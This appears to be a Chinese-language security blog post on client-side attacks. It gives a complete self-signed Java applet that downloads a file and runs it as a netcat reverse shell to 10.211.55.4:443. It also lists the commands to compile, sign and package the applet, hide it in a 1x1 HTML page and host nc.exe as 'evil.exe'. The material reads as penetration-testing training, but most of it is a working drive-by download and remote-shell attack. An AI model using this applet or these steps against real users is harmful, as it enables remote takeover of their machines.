ClientSideAttack

简介
客户端攻击是针对用户发起的攻击, 客户端攻击通常与社工、钓鱼等技术进行组合造成较高的危害, 客户端攻击常见与某些组织对某些组织的定向攻击, 通过构造带附件的电子邮件、钓鱼网站、badusb等方法将payload放入目标机器中, 等待用户主动上线。
客户端攻击常见的方法包括利用目标系统的nday、构造java applet自签名应用;

文章目录

  • attack for IE
  • java applet

attack for IE

第一种方法是收集目标的客户端信息, 包括操作系统版本、浏览器版本、电子邮件客户端版本等; 然后根据其中的n day或0 day构造恶意触发程序, 诱导目标触发恶意程序; 这种方法的难点在于收集客户端的信息, 这通常是较难的;
该部分内容可自行搜索, 找对应的demo视频观看学习思路, 然后学习总结客户端n day, 理解exp并构建自己的特定exp即可;

java applet

java applet是一种运行于WEB环境中, 在客户端执行的java应用程序, 因此, 客户通过构建java applet应用程序并放置于WEB应用中, 等待目标访问并执行;
该攻击方法影响安装java且支持浏览器运行java应用程序的目标, 但是该攻击方法会给用户一个警告框, 所以该攻击的成功率不太乐观。

攻击条件

目标安装java环境 + IE配置“允许活动内容在我的计算机上的文件中运行*”

攻击载荷

构建java应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Java.java
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.util.*;
import java.net.URL;
/**
* Author: Offensive Security
* This Java applet will download a file and execute it.
**/
public class Java extends Applet {
private Object initialized = null;
public Object isInitialized()
{
return initialized;
}

public void init() {
Process f;
try {
String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;
String expath = tmpdir + "evil.exe";
String download = "";
download = getParameter("1");
if (download.length() > 0) {
// URL parameter
URL url = new URL(download);
// Get an input stream for reading
InputStream in = url.openStream();
// Create a buffered input stream for efficency
BufferedInputStream bufIn = new BufferedInputStream(in);
File outputFile = new File(expath);
OutputStream out = new BufferedOutputStream(new
FileOutputStream(outputFile));
byte[] buffer = new byte[2048];
for (;;) {
int nBytes = bufIn.read(buffer); if (nBytes <= 0) break;
out.write(buffer, 0, nBytes);
}
out.flush();
out.close();
in.close();
f = Runtime.getRuntime().exec("cmd.exe /c " + expath + " 10.211.55.4 443 –e cmd.exe");
//f = Runtime.getRuntime().exec("cmd.exe /c " + expath);
}
}
catch(IOException e){
e.printStackTrace( );
}
/* ended here and commented out below for bypass */
catch (Exception exception){
exception.printStackTrace();
}
}
}

编译java文件为class文件: javac Java.java

创建manifest文件: echo "Permissions: all-permissions">manifest.txt

创建jar包: jar cvf Java.jar Java.class

创建自签名文件: keytool -genkey -alias signapplet -keystore mykeystore -keypass password -storepass password

对jar包进行签名: jarsigner -keystore mykeystore -storepass password -keypass password -signedjar SignedJava.jar Java.jar signapplet

创建html页面: echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://10.211.55.4:80/evil.exe"></applet>' > /var/www/html/java.html

将所需程序复制至web目录下: cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe;cp SignedJava.jar /var/www/html/SignedJava.jar

attack

等待客户端访问url并运行恶意小程序

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%